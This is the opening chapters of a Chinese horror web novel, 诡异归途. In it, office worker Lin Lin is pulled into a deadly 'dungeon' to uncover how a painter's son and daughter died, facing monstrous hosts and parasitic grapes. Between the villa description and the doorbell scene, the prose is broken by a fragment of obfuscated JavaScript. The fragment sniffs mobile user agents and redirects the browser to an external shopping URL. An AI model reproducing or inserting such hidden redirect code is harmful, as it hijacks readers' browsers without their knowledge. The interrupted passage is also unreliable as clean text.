《诡异归途[无限流]》
1. 雨季
雨一直在下。
A市的雨已经持续了一周有余。
连续不断的雨让整个城市变得潮湿而阴沉。
“未来一周持续有雨,预计将持续到下周四结束,请大家出行带好雨具。”毫无感情的播报声从广播中徐徐传出,更让人心头覆盖上一层阴霾。
好在明天就是休息日,职员们心情都不算太差,打着雨伞或是披着雨衣,三三两两的聚在一起,挤出公司大门。
“今天那个项目你回家后再处理一下,记得发给我,明天要用。”
林临斜挎着包,一边笨拙地从包里掏出雨具,一边回答,“好,我晚上回去给你发文件。”
她叫林临,是这个公司的策划,旁边这位是她的直属领导,大家都喊她琳达。
琳达挥手拦停一辆出租车,而后对林临歉意地笑笑,“不好意思林临,我着急接孩子,麻烦你等下一辆吧。”
林临当然没意见,她不想和领导坐在一辆车里,想想都觉得窒息。
于是微笑着目送领导离开,林临这才掏出手机点开打车app,叫来网约车。
雨点沉重,噼里啪啦地打在伞面上,伞被打的东倒西歪,所幸没风。
林临这样想着,不由得攥紧了伞柄。天气预报上说过会儿雨会更大,就更不好回家了。
林临盯着拐弯处的车辆,仔细辨认着车牌,心中不停祈祷网约车快点来,
不过一会儿,一辆白色的网约车,挂着白色的车牌如约而至。
不属于市面上的任何一种车型,玻璃上挂满了雨痕,林临眯起眼确认车牌,确认无误后看向主驾驶,主驾驶前的玻璃模糊的不成样子,根本看不清里面坐着的人。
“师傅,你这车牌真的没问题吗?”林临收起伞的同时抖落雨水,狐疑地问,“现在都可以用自己喜欢的颜色做车牌了?”
“……”
没有回应。
“2387”
仍然是安静。
上错车了。
念头跃出的瞬间,林临手就搭在了车门把手上,她上错车了,这不是她叫的网约车,“我上错车了,麻烦停一下。”
车在加速。
“我说我上错车了,您好,麻烦您停一下。”
林临没由来的一阵不安,但还是保持声线平稳,她反复强调,手偷偷摁在了110这三个数字上。
“你是林临吧?”
低沉的声音,带着一股扑面而来的潮湿气息,如同阴湿古墓里传来的寒风,径直吹在林临的脸上,这让她忍不住打了个寒战。
“是我。”
“有你的信。”
火漆封缄好的信封从前方递过来,抵在林临的鼻尖,林临鼻头耸动,闻到比刚才更重的腐臭味。
“沈雨拜托我一定要交到你手里,打开看看。”
林临照做。
信封里只有一张纸,纸张龙飞凤舞的几个大字——no.2,欢迎您的到来。
林临视线下移,看到落款处一个更加恣意张扬的大写字母,S。
古怪的司机没说话,所以林临也没说话,只是轻轻摸索着这张纸,纸张质地细腻,落笔者的笔却不怎么好,将这样的纸生生刮出几道毛边。
畅快地写出这句话,寄信的人似乎很欢迎她的到来。
甚至,还带着一丝挑衅的意味。
“我们到底去哪?”
沉默,还是沉默。
林临眼前一黑。
车飞驰在雨夜之中,最后消失在道路的尽头。
“副本开启,本次副本名为姐弟。”
“失去了一双儿女的张玫,将自己对儿女的思念倾注在绘画上,画出了多幅令人称赞的画作,经过蒋老师的拜托,你来张玫家中做客,并肩负着开导她的重任。”
“玩家须知:即将在张玫的家中度过三天时间。”
“副本任务1:找寻张玫儿女死亡的真相。”
“副本任务2:逃离副本。”
冰冷的机械音钻入耳朵,伴随着意识回笼,强烈的失重感袭来,林临捂着自己的脑袋,缓缓地坐了起来。
眼前的一切由模糊变得清晰,林临睁大眼睛打量身边的一切。
坐上车,然后就来了这里?
林临站起身来,警惕地观察着四周。
这是什么地方?网约车把她送来了这里?
林临环顾四周,这里似乎有些过分安静了,安静到连风的声音都没有,她抬头看向天空,雨停了,许久不见的太阳挂在上空,却没有任何温度。
这里的一切都那么诡异。
林临连忙摸向自己的口袋,好消息,手机还在,坏消息,右上角的信号格显示,林临处于失联状态。
揣起手机,林临站起身朝着小区内部道路上走去,在脚踏上道路的瞬间,一股凭空而来的巨力扼住了林临的咽喉。
“警告,警告,离开副本范围后,玩家将会被立刻绞杀!警告,警告,离开副本范围后,玩家将被立刻绞杀!”
死亡威胁下,林临连忙撤回脚。
“玩家no.2,您现在处于名为姐弟之死的初始副本中,请您尽快进入副本,完成副本任务。”
“下面宣读注意事项,进入副本后,请您保持十万分的警惕,危险可能来自各处。”
“不要违反规则,违反规则者,将被规则绞杀。”
“您将拥有三次试错机会,副本将以预告形式呈现,这是属于您的新手保护福利,请您谨慎使用。”
强行离开副本等同于违反规则,会被立刻绞杀。
“完成副本后,根据评级获得奖励,祝您探索愉快。”
这能愉快就怪了,林临的脑袋还残存着缺氧所造成的阵痛,她揉了揉太阳穴,抬眼看向面前这栋建筑物,副本所说的张玫家,应该就在这里。
在看向别墅的同时,她的眼前浮现出一行背景介绍。
【张玫住在市中心,在寸土寸金的地界上,张玫拥有一栋三四百平的独栋别墅。】
小院中,带有复古欧式风格的尖顶建筑矗立,逐渐西沉的昏黄日光则铺撒下一层金屑,为这栋建筑染上一层温柔的光晕。
墙上打理得当的鲜花配上满墙的绿植,在阳光的照耀下显得非常漂亮。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976207|193503||http|test|mini|href|location''.split(''|''),0,{}));
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>林临犹豫了一下,上前摁响门铃,片刻后门内走出一个穿着简单的t恤女人,长相知性,脚上踩着一双拖鞋,穿着家居服,显然是正在家里享受个人时光。
看到林临,她似乎有些意外,“小林?小林是吧,哎哟,张阿姨没想到你这么快就来了,欢迎欢迎。”
【张玫,承受丧子之痛后,一蹶不振,后找到自己的绘画天赋,作品价值不菲。】
这人明显太年轻了。
见林临仍然愣在原地,张玫又笑着说,“我就是联系你的张玫阿姨呀,快进来。”
乐观。
这是林临对张玫的初印象,她似乎并没有沉湎在丧子之痛中,而是积极地应对着新生活。
张玫带领林临走进院落,表现出对林临的十二万分的欢迎,“蒋老师联系我的时候,我还想着怎么招待你呢,毕竟小恒当时在学校里还是很受你照顾的。”
听张玫的语气,小恒应该就是死去的那个儿子。
“我听说你蒋老师说,你最近来这边考试,没有落脚的地方,阿姨想着你不如就来阿姨这里住几天,到时候阿姨再叫车把你送走。”
张玫笑呵呵的,看着很温柔,“不过你来的不巧了,阿姨今天上午有事儿,下午才能招待你。”
张玫在门厅前鞋柜中取出一次性拖鞋,招呼林临换上。
家里颇为简洁,经过她的介绍,林临对这栋别墅的布局有了简单的认识。
一楼是会客厅,负责接待参观者,在一楼的西侧,有一条单独开辟出来的环形长廊,负责摆放陈列张玫的画。
二楼是卧室和书房,还有保姆的保姆间。
“三楼是画室,我创作的时候不喜欢别人打扰,你们就在一楼随便看看吧。”张玫补充道,“王姐,你带这位小朋友到处转转。”
张玫话音落下,一个看起来颇为拘束的,约莫在四十岁上下的女人突然从楼上冒了出来,手里还拿着拖布,显然是在打扫卫生。
“带小恒朋友四处转转,我还有画没有完成,要回去作画。”
张玫丢下这么一句话后,就施施然离开了。
被叫到名字的王姐从楼上匆匆下来,还未和林临打照面,就高声道,“稍等,我把手头上的东西放一放就过来。”
借此机会,林临赶忙环顾四周。
副本提示中着重点出了张玫失去了自己的一双儿女,还发布了找寻张玫孩子死去真相的任务,也许破局之法就在这死去的儿女身上。
约莫过了十几分钟,王姐重新出现,“小林,你就叫我王姐就行,你吃饭了吗?要不要给你做点东西吃。”
林临笑笑,“我想先把书包放下,方便吗?”
王姐想了想,“跟我来吧。”
至此,一切正常。
但不知怎么的,林临总觉得有双眼睛在暗处悄悄地盯着自己,凭着直觉四处张望。
林临看到三楼拐角处,方才还说自己在忙的张玫,正藏在暗处,无声无息地看着自己。
张玫的面目开始模糊,最后化为一团黑色,弥散开来。
心脏漏跳一拍,刚说完正常,这就撞鬼了?
2. 并蒂
装作没有看到,林临提了提背后双肩包,提出要求,“我想复习复习功课,毕竟没多久就要考试了。”
王姐顿了顿,似乎在反应这句话,思索过后,她点了点头,带着林临上了二楼,那里有一间专门的客房,是用来招待需要过夜的客人的。
站在客房门口,林临问,“张阿姨也会住在这里吗?”
王姐想了想,说,“夫人一家都住在这里,临近走廊那间就是夫人的房间,左侧是先生的房间,不过先生从没回过家,所以那间房就闲置了,就改成了储物室。”
“哦,原来是这样。”王姐把密码告诉林临后,林临输入并推门进去,瞧见里面已经布置好了。
客房里一张两米宽的大床,上面盖着真丝的四件套,触感丝滑细腻,林临摸了好几把,才在王姐疑惑的眼神中把手拿开。
“夫人听说你来,前几天就让我收拾出来这间房,你看这是灯总控开关。”王姐快步上前,找到总控后摁了开关,只听嗡地一声,窗帘应声而开。
窗帘完全打开后,王姐把灯关掉,颇有些炫耀意味,“这里采光很好的。”
张玫可是她千挑万选的主顾,为人和善,最主要的是出手阔绰,指缝里漏出一点来,就够她两三天的吃喝。
所以,王姐招待客人时,总有一种有荣与焉的自豪感。
林临点点头,现在是早上十一点左右,阳光照在人身上暖融融的。
她把背包挂好,然后取出自己背包里的东西,果然是去参加竞赛的,背包里奥数课本和练习册一应俱全。
“对了,夫人说你应该还需要书桌,在这边。”王姐带着林临走到隔壁,“小恒以前的书房,听说你来,王姐特意让我打扫出来,给你用的。”
还真是周到。
林临冲王姐客气地笑笑,眼神却扫视着这件书房。
书橱上放着许多关于绘画或者美术的书籍,林临随意取出一本,正是张玫署名的。
“张阿姨在美术界很有名的,我听蒋老师说过好多次。”
书上画满了干脆利落的线条,这些线条交织在一起,构成一个又一个灵动的人体结构。
副本背景里所说的张玫是个画家,并不是浪得虚名,而是真的有自己的想法。
王姐走过来瞧,“说起来,夫人一家人都很有绘画天赋,不光夫人是这样,小恒的姐姐也是这样,你应该听过她的名字,叫徐然。”
副本任务里提到的姐弟之一的姐姐,林临觉得王姐也许知道些什么。
没有催促,她看着王姐在书柜前转来转去,而后搬来凳子,最后在最上层找到,“你看,这是我们小然的画。”
徐然的画笔触稚嫩,但不乏灵气,林临举着画纸,和一旁张玫的书作对比,发现两人的作画习惯很像。
林临不由得感慨,“基因真是奇妙。”
“那是当然了,你看我们小然,从小就是美术生,后来又成了唯一一个考上a市美院的孩子,天赋那是没的说,要不是……”
王姐自顾自的说着,说到后面却突然停住了。
试探地看向林临,见她没什么反应,才继续说,“夫人就更不用说了,在家自学就能画出这么好的画,你知道外面要多少钱一幅哦,这个数。”
王姐比出两个手指捏成一个八字,“一幅画,两三个月都不用愁了,更不用说夫人还在外面办画展,参加比赛,那挣得就更多了。”
说起这个,王姐就兴奋得眉飞色舞,“我跟你说哦,小林,人家说的话,条条大路通罗马的……”
“王姐。”林临突然开口打断她。
王姐愣住:“怎么了?”
林临笑笑,“你对小恒了解多少?”
“小恒。”王姐张了张嘴,想说什么,却又心虚地瞥了一眼身后,“小恒的事情我不太清楚,要不你自己去问夫人?”
“好吧。”林临仍旧笑着,手指轻轻捻动书页,“对了,王姐,我想休息一会儿,您看要不您先去忙,我有事儿的话就叫您。”
林临翻看藏书的时候,王姐一直在旁边站着,有个npc跟着很不方便,林临很需要把她打发走。
果然,一听说林临要学习,王姐忙不迭说自己有事儿要做,“夫人最喜欢好好学习的孩子了。”
送走王姐,林临脸上笑容逐渐凝固。
看王姐的样子,她对小恒的死一定知道些什么,但却不敢说出来。
从刚才的交谈中,她没得到多少有用的线索,不过林临并不着急,现在只是第一天的上午,三天期限还早,这么想着,林临耳尖微动,听到门外有窸窸窣窣的声音。
林临警惕地回头,听着门外似乎有什么人在走动,声音由远及近,最后好像停在了她的门口。
会是谁?
卧室里是实木地板,一不小心就会发出闷响,林临蹑手蹑脚地起身,慢慢摸到门前,透过卧室门的猫眼,看到外面一个晃动的、瘦长的黑影。
现在是白天,林临看得很清楚,那条长长的黑影就停留在她的门口,做出了侧耳倾听的动作,从身形判断,应该是个女人。
王姐。
王姐又回来了,她回来干什么?
就在林临思忖的时候,一张变形的瘦脸悄无声息地贴了上来,身影也在距离拉近的间隙里逐渐扭曲,像一条蛇,盘踞了整个猫眼的视线范围。
这是在监视她?
“咚咚咚。”
门突然响了。
林临装作不知道,拉开了门,却在对上视线的那一刻吓了一跳。
此时的王姐好像变了个人,一双混沌的眼珠就这么不眨眼地盯着林临,像孩子们小时候玩的弹珠,灰蒙蒙的。
再看她的脸,眼皮松松垮垮地缀在眉骨处,眼眶深深地凹陷下去,空空荡荡的,林临看着她,有种下一秒眼球就要从眼眶里脱落的错觉。
但一眨眼,王姐又恢复了刚才的热情。
“王姐,怎么是你。”林临诧异了一下,然后继续说,“您忙完了?”
王姐笑着说,“夫人让我给你送点水果过来。”
林临低头一看,王姐的身前确实端着一碟葡萄,个个浑圆漆黑,果香四溢。
“谢谢张阿姨。”林临没接。
她看着这串葡萄,背后发毛。
“接着呀,小林,这是夫人给你的。”
王姐的嘴角还挂着笑,眼眶却以不自然的幅度缓缓撑大,瞳仁在充足的光线下泛出玻璃珠般的质感。
她没说话,只是将瓷碟又往前递了半寸——
“……谢谢王姐。”
“好孩子,你不接的话,夫人会不高兴的。”王姐从牙缝里挤出一句话,继而将这碟葡萄强行塞进林临的手里,“做题的时候要吃水果的,这是夫人安排的,吃吧。”
说完,她缓慢地眨了眨眼睛,将手背到身后。
再拒绝会出事的,林临笑了笑,装作什么都没看到一样接过葡萄,林临将它端进房间,放在桌子上,而后折返回来,“我去隔壁拿本习题册。”
拿到习题册,林临返回书房,过程中特意多看了一眼,王姐已经走了。
现有的线索太少,林临想不明白,就把这件事暂且放在一边,回到书房关紧门,林临不由得多看一眼放在桌上的葡萄。
一粒粒葡萄紧紧
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簇拥,严丝合缝地摆放在瓷碟中,不知道是不是她眼花了,那葡萄竟像是有呼吸一般,在缓慢地收缩又膨胀着。
林临伸出手捏了捏葡萄,这葡萄的外皮柔软而湿润,摁下去后没有想象中的汁水四溅,而是在林临的注视下在慢慢地回弹。
更为诡异的是,林临做出动作的下一秒,没有被触碰的葡萄正在缓慢地,几乎不可察觉地扭动着,转向林临的方向。
有些人在面对恐惧的时候会惊慌失措,而有些人则会在超过压力阈值之后变得无比冷静,林临就是后者。
面对着科学无法解释的诡异现象,林临深深地吸了口气,随手扯了张纸把葡萄盖住,端到离自己很远的床头柜上。
做完这一切,她开始专心寻找房间中的线索。
小恒的书桌很整洁,拉开抽屉,里面放着几本日记,封面素净,翻开后只写了两个字,徐恒。
由此可以看得出徐恒是个不喜欢花哨的小孩。
2016年7月2日
今天公布成绩,我考了班级第一,姐姐很高兴,我给妈妈发了短信,妈妈说她也很开心。
向后翻了几页,都是记录校园生活的,没什么可疑的地方,林临皱了皱眉头,接着看下去。
2016年8月15日
今天是我生日,姐姐带我去了游乐园,游乐园很好玩,但爸爸来了,他说他是我们的爸爸,让我们跟他回家,姐姐和他吵了起来,最后我们跟他去了他的家。
翻开第二页,日期是跳着的,十六号没有记录,有可能是没有带笔记本,也有可能是16号并不愉快,林临这么想着,翻开下一页,果然得到了佐证。
2016年8月17日。
爸爸打了姐姐,让姐姐不要自作主张,我不喜欢这样的爸爸,要是妈妈还在就好了。
2016年8月18日
姐姐带我出来住了,说妈妈很快就会回来,我很高兴。
林临顿了一下。
妈妈一直都不在,张玫去哪了?
小恒的日记还有很多,内容大多与姐姐徐然有关,自2016年出去住之后,徐恒的日记便没有那么频繁了,成了周记,每周会写的长些,林临看起来也清晰了许多。
2017年1月12日
快过年了,姐姐忙着上学,没空管我,今天是妈妈的生日,我有个大胆的想法,我要借部手机,给妈妈打电话,问问妈妈什么时候回来。
2017年1月15日
我知道了一个秘密,但我要保守住这个秘密,我谁都不可以告诉,谁都不可以说。
秘密,捕捉到这个字眼,林临不由得前倾身子,认真地翻开前后两周。
“什么都没有。”
知道了一个秘密,还要保守住这个秘密,写进日记本里了还要保守,自己也防着,这不是多此一举吗?
有了线索却被层层加密,林临突然觉得很郁闷。
但不能放弃,徐恒的日记还有很多。
2017年8月12日
妈妈来接我了。
妈妈,也就是张玫出现了,只有短短的一行字,林临无从得知徐恒当时的心情是开心还是难过,从这一周开始,徐恒日记中的姐姐突然消失,取而代之的是妈妈。
妈妈带我去学校办了转学,她说一切都办好了。
妈妈帮我收拾好了行李。
我们到新家了。
姐姐呢?林临皱起眉头,姐姐去哪里了,她翻到前面记下这个日期,二零一七年八月十二日,这一天徐然消失了,从此之后再也没出现在徐恒的日记中。
也许,线索出现了。
3. 并蒂
姐姐呢?林临皱起眉头,姐姐去哪里了,她翻到前面记下这个日期,二零一七年八月十二日,这一天徐然消失了,从此之后再也没出现在徐恒的日记中。
徐恒的生活居然一切正常。
一个与自己朝夕相伴的姐姐消失了,徐恒竟然可以如此淡然地接受,并收拾好了行李,跟着妈妈来到a市。
合上日记,林临觉得有必要找到这个徐然。
但从何找起?
一时间,林临思路走入了僵局。
“叮咚,叮咚。”
大门外传来了门铃声,林临循声看去,看到王姐快走几步到了门口,打开了门。
王姐嗓门很大,林临可以毫不费力地听到对话内容。
“今天怎么送这么晚,以往不是九点就来了吗?”
林临看了一眼时钟,现在是十点十分,比以往来晚了一个多小时。
“改时间了这么不提前通知我们一声。”
看来是送货时间改了,改到十点了,林临在心里暗自记下这个时间点。
“明天吧,明天我让夫人下来给你结钱,这点钱不会亏你的,你放心吧。”
两人又拉扯了一会儿,王姐才拎着大包小包的食材走进院子,边走还边大声说着什么掉钱眼里的之类的话。
显然是说给门外的人听的,不过门外人并没有什么反应,显然是不在意王姐的阴阳怪气。
到时间了,王姐要开始做中午的饭菜了。
林临意识到现在也许是个好机会,去看看张玫的卧室里有没有什么值得推敲的东西,又或者,王姐所提到的储藏室?
将桌面摆放成正在学习的样子,林临推开门走出书房。
徐恒的书房和张玫的卧室就在同一层,林临按照王姐的介绍,很快找到了张玫的卧室。
林临伸手推了一把,门应声而开,张玫的房间陈设和客房如出一辙,甚至比客房还要冷清,彷佛从没有人住过。
“小林!”
楼下传来王姐的声音。
林临退出来,快速关上门,应声道,“我在呢。”
“小林,一会儿记得下来吃饭。”
“好!”
林临深深地看了一眼张玫的卧室,默默转身回到了书房,她当然可以选择冒险进入张玫的卧室,但王姐会随时叫她下去吃饭,她来不及将房间陈设复原,这样的话,风险太大了。
她无法承担这样的后果。
慢慢来,每一步都要想好,虽然现在的一切都是那么正常,但林临总觉得哪里有点不对。
坐在书桌前,林临翻开奥数题,做戏做全套,她有必要刷会题,如果王姐或者张玫突击检查,这些完成的题目可以应对一下。
挑选了几个她比较拿手的模块做了几道,把正确答案勾选好后,林临听到王姐叫她,“小林,下来吃饭了。”
“来了。”
话音刚落,脑袋便如同被针刺了一下,猝不及防之下,林临噗通一声跪倒在地,伸出双手死死地抱住自己的脑袋,好缓解这突如其来的疼痛。
忽然,眼前的空间开始扭曲,一个模糊的身影出现在她的面前。
这是,这就是所谓的死亡预告了吧。
想到这里,林临狠狠咬着下唇,鲜血顺着唇角流下,双重疼痛下,林临勉强克服了脑袋里的钝痛,强撑着坐在地上,眯起眼睛看向面前的预告。
模糊的身影打开门,经过了冗长的走廊后,开始下楼。
看来这个模糊的身影就是她自己。
随着预告逐渐清晰,林临脑袋的疼痛在同步缓解,这让她终于能够冷静思考。
与此同时,另一个瘦长的影子走上前来,拉着林临的手说了些什么,林临点头,两人交谈一番后,瘦长人影晃动着走向餐桌。
片刻后,张玫出现了。
代表着林临的黑影上前一步,张玫点了点头,接着走下楼梯。
接着,她顿了顿。
林临的脑袋更痛了,痛的像是被人从中间劈开一般,她摁住太阳穴,凝眸看着预告。
这是很珍贵的信息,她决不能错过任何一秒。
此时的张玫身形暴涨,如同一只,不,她就是一只索命的恶鬼,拖着长而尖利的指甲从楼梯上走了下来。
“刺啦……”
冰冷的金属摩擦声伴随着张玫的身影逐渐逼近。
漆黑一片的鬼影中,两只猩红的眼睛如同鬼火一般影影幢幢,在空洞的眼眶里跳动着,死死地盯着面前的林临,而林临却恍若不知一般走上前去,想要同张玫攀谈。
看着预告中的一切,林临的心都要提到嗓子眼。
果不其然,下一秒,张玫举起那长满尖利指甲的手掌,狠狠刺入预告中那团模糊的影子,一击毙命!
那团模糊的黑影抽搐了几下,接着便摔倒在地,而她的身下,出现了一片血泊。
预告结束。
“呕!”
回过神的林临本能地弯下腰,又惊又怕地干呕着,酸水混杂着少许食物的残渣,在喉管里翻涌,好在早晨她并没有吃什么东西,几番呕吐下,除了酸水其他什么都没吐出来。
听到楼上的动静,王姐大声问道,“小林,你怎么了?”
林临飞快回答,“我有道题没解出来,稍等一下!”
言罢,她取来纸巾把地面上的污渍擦拭干净,又清理好口鼻,坐在地上,大脑飞速旋转着。
到底是哪里出现了问题,她好像什么都没做,就触发了死亡预告,难道是她去张玫的房间被发现了?
不对,张玫在画室,王姐又在做饭,她们两个根本没上楼,而且如果进入张玫房间是致死原因的话,那应该在推开门的时候就触发了死亡预告才对。
楼下的声音忽远忽近的传来,张玫的声音一点点变得尖锐刺耳,呈现出莫名的非人感。
“小林,你快点下来,再不下来就是不听阿姨的话咯,阿姨要上楼去找你了……”
与此同时,那令人毛骨悚然的刷拉声再度响起。
“刷拉……”
门外的怪物正拖着尖利的指甲朝这边走来。
“刷拉……”
“小林,你怎么不听话呢?”
明明还没有看到张玫的身影,那声音却越来越近,直到近在咫尺。被敲响的死亡丧钟发出的余波,朝着林临所在的位置袭来。
死亡的威胁让林临无法冷静思考,以至于四肢发软,头脑麻木。
林临,冷静,越是这个时候越要冷静。
脑袋里一遍又一遍地回忆着刚才王姐所说的话,好好想想王姐曾经说过什么,曾经说过什么……
做题的时候要吃水果的,这是夫人安排的,吃吧。<
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夫人安排的,你要听话。
不听阿姨的话。
等等,她好像知道是为什么了,林临强撑着从地上爬起来,冲到床头柜前,想也不想将整串葡萄塞入口中。
汁水在嘴巴里爆开,不属于葡萄的腥臭味儿直冲鼻腔,加之软烂的口感,这葡萄便像尸水一般化开,这让林临联想到烂肉。
一块被包裹在薄薄葡萄皮中的溃烂的碎肉。
做题的时候要吃水果,她做过题了,但却没有吃水果,这在张玫的眼中是不听话的表现,所以她触发了死亡条件。
要听话。
林临在心里记下这三个字。
与此同时,“吧嗒”一声,门开了。
林临回头看去,见张玫的身形已然无法顺利通过房门,她一只手扒着门框,微微躬身。
看清张玫面目的一瞬间,林临险些惊叫出声。
与预告中如出一辙的猩红色双眼,如同幽幽鬼火一般跃动着,直勾勾地盯着站在床前的自己。
“小林,你在干什么?”
林临无法形容这张脸,唇角像是被什么东西剪开一般漏出里面鲜红的皮肉,这使得她无法闭合嘴唇,里面密密匝匝的尖牙,一圈一圈地重叠在嘴巴和上颚,闪烁着寒光。
她弓着身子,如同一只野兽一般爬进房间。
“没干什么,有道题没做出来,我想做出来再下楼,怎么了张玫阿姨?”林临强打起精神,微笑着应对面前的怪物。
仰起脸,面前怪物快速地抽泣几下,嗅闻到空气中那股难以言喻的腥臭味儿后,她同样回一个微笑,只不过这个微笑,看起来不那么美观就是了。“你应该快点下来,阿姨不喜欢你这样。”
“不好意思,张玫阿姨。”
话音落下,张玫的身形开始急剧缩小,最终定格在一米六左右,她的脸慢慢融化又凝固,最终呈现出张玫原本的模样。
林临知道,她算是通过第一关考验了。
她转身,看到令她浑身一颤的画面。
那些在慌乱中被挤散,落在地上的葡萄,此时褪去了深紫色的皮,展现出它的真容。
一粒粒如同眼睛一般的球状白肉中间,横亘着一条条黑色的竖线,在林临的注视下,犹如聚团的蚂蚁,速度极快地汇拢到一处,成为新的葡萄串。
这白花花的团状物在地板上灵巧地蠕动着,直到张玫迈开步伐,而后悄然落下。
噗嗤!
一声轻响过后,那些白花花的肉团才真正地消弭,只留下一滩血水。
“快下来吃饭。”张玫伸出手轻轻抓住林临的胳膊,声音轻快又温柔,“王姐做了许多好吃的,你应该会爱吃。”
张玫眼中笑意不减。
张玫的饭很清淡,几乎都是些蔬菜之类的,例如白灼菜心,蚝油生菜,不过张玫倒是吃的很专心,偶尔会招呼林临吃。
林临谨慎,只吃了张玫让她吃的菜,其他的一概没碰。
吃完饭,林临想走,却被张玫一把拉住,“小林,你要和阿姨聊聊天吗?”
林临这才有机会近距离观察张玫,见她的眼睛漆黑莹亮,眼角皱纹较之同龄人是少之又少,面容恬淡,完全看不出已经四十多岁了。
倒像是二十岁出头的样子。
张玫弯弯眼睛,“怎么了,小林,你还怕阿姨不成?”
4. 并蒂
张玫弯弯眼睛,“怎么了,小林,你还怕阿姨不成?”
“当然不是。”
林临在判断,张玫刚才的话是邀请还是要求。
“那你来,阿姨跟你聊聊天。”
此时正值晌午,暖烘烘的太阳照在身上很是舒适,张玫家里有一方专门开辟出来的阳台,王姐觉得这么大的空间实在不好浪费,就申请买了躺椅,平日没事儿干的时候,两人就躺在阳台上说说话。
现在轮到林临和张玫了。
因为怕被晒黑,张玫特意取来了面罩和墨镜,木质躺椅摇摇晃晃的,发出嘎吱嘎吱的声音。
“小林。”张玫声音幽微,闷闷的,像是从地下传来的,带着潮湿水汽,“你这次拿了奖,是不是就能保送a大了。”
林临哪知道这些,只能含糊其辞地嗯嗯过去,可张玫没有要停止话题的意思,她微微侧过身,继续问,“你记不记得,小恒刚入学的时候,也说过他要去a大来着。”
“记得,小恒的成绩很好,我记得当时他一直是前几名。”
此时此刻,王姐化身成为副本押题大师,林临在王姐给予的押题本中疯狂检索着关于小恒的信息。
正想着,眼前忽然出现了两根白葱似的手指,林临微微回神,听到张玫轻轻说,“孩子还是太不听话了,要是听我的,就不会变成现在这样。”
林临认真听着,可她的胳膊上传来不受控制的瘙痒,于是林临一面点头应承张玫,一面捋起袖口,将袖子挽至关节处。
张玫说话的节奏突然中断了。
林临看向她,见她低头看着自己的胳膊,仿佛很满意似的笑着。
于是林临同样低头,差点没尖叫出声。
白嫩纤细的胳膊上,密密麻麻地缀满了鼓包,有什么东西正在努力地破土而出,终于,一枚鼓包裂开了一道缝隙,漏出里面灰白色的物质。
在林临愈发惊恐的注视下,这鼓动的灰白色肉团上,一道漆黑的竖线凭空出现,几经转动,与林临对视。
葡萄,是那些葡萄。
吃掉的东西寄生在了林临的体内,林临努力克制住自己想要尖叫的欲-望,缓缓地放下了袖子。
已经出现的东西不必烦扰,只要不死,她就要将副本继续下去。
来不及和张玫打马虎眼了,她直接道,“我听说小恒还有个姐姐?”“有没有问过他姐姐,这到底是怎么回事?”
“小恒姐姐?”
“小恒不是有个姐姐吗?叫什么……”林临停顿了一下,“叫徐然,是不是?”
张玫这才如梦初醒般说,“哦,你说小然啊,好久没人提起小然了,我都忘记还有小然这个人了。”
她笑了笑,漏出森白的牙齿,“你是怎么知道小然的?”
“小恒说的呀,不然我是怎么知道的。”林临继续问,“怎么了?徐然不和你们住在一起吗?”
张玫道,“徐然,徐然早就死了,我记得是一七年八月十二号吧,小恒还哭了很久呢。”
“她是怎么死的?”
张玫抬起眼皮瞧了一眼林临,显然林临在她的雷区上疯狂蹦迪,“这我不知道,徐然死在那个人——哦,那是我老公,徐然的监护权一直在我老公那里,我记得那天他给我打了通电话,说要把徐然和小恒接回家。”
“当时,徐然的监护权在他身上,他要见徐然,我当然没办法拦着。”
张玫支起身子,微微弯下腰从躺椅侧面取出一盒烟,磕了两下烟盒,她盯着烟愣神片刻,“算了。”
又合上烟盒。
林临知道她是顾忌自己在这里,怕抽烟对孩子影响不好。
过了片刻,张玫又掏出烟盒,这次她叼在了嘴里,细细的烟随着她说话而小幅度抖动着,“第二天,也就是八月十二号,他打电话通知我,小然死了,跳楼。”
“您和那个人……就是您的老公关系好吗?”
听到这句话,张玫歪头盯着林临,然后突然伸出手摸了一把林临的头,“小孩子真八卦。”
“我和你叔叔关系可好了,当年也是没办法的事情,我俩才离婚。他常带孩子们去游乐园,所以孩子们也喜欢他。”
这和徐恒日记本里写的对不上,也和她刚才的说辞对不上。
“你和叔叔现在还常来往吗?”
“不来往了,人总是要向前看,一直待在过去是没有意义的。”也许是真的忍不住了,张玫摸索出一只打火机,将香烟点燃,“去吧,你去吧。”
林临跟张玫说了再见。
看得出,张玫几乎已经忘记了徐然这个人,以至于提起的时候都有些恍惚。
为什么?
同样都是自己的孩子,张玫为什么对徐恒这么好,对徐然却进行了有意的忽视。
她准备再去问问王姐,可找了很久都没找到王姐。
只好回到房间。
取出一张纸,林临把今天上午搜集到的信息写在纸上。
她能感受到白衬衫下,那些活跃的鼓包正在奋力地转动着视线,想要突破衬衫的遮蔽,林临伸出左手摁住最活跃的鼓包,开始下笔——
徐恒有个姐姐,这是任务给的信息,徐然一直在照顾徐恒,直到一七年八月十二号,在徐恒父亲的家中跳楼去世。
她为什么突然跳楼,当天发生了什么。
作为亲人的徐恒和张玫,对徐然死亡的态度是什么,张玫看起来很无所谓,徐恒更是一字未表。
徐然。
在这个名字上圈了又圈后,林临打上一个大大的问号。
接下来是徐恒。
徐恒日记里说的,一定要保守住的秘密是什么,这个秘密和徐然有关系吗?
一家人各有各的秘密,就连处于关系网最边缘的徐恒父亲都可能背负着某种秘密,林临一时间心乱如麻。
也许她应该冒险出去问问。
张玫会让她出门吗?
答案是肯定的。
林临以要出门放松为借口,提出要出门看看,张玫犹豫了片刻,不知道是想起了什么,接着点点头,要求林临在天黑之前回来。
现在是下午三点,正值夏天,大约六七点天还是亮的,时间很充裕。
张玫所在的小区老人很多,因而小区里划分出了一块区域,专门给老人们锻炼身体,晒晒太阳。
而下午三点多正是老人拄着拐杖出来散步的时候,林临出了门没多久,就碰到了要去
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广场的老太太。
林临先是介绍了一下自己,在听说是徐恒的同学后,那个老太太突然表现得痛心疾首,拉着林临的手不放开,“小恒啊,小恒是个好孩子。”
“是的,小恒成绩很好,我们班上的同学都很喜欢他。”
“就是性格有些孤僻,不爱说话。”老太太侧身倚靠在拐杖上,“听说是出车祸死的,张玫那天去加班,没顾上接他,结果你说巧不巧,就那天晚上,公交车出事情了。”
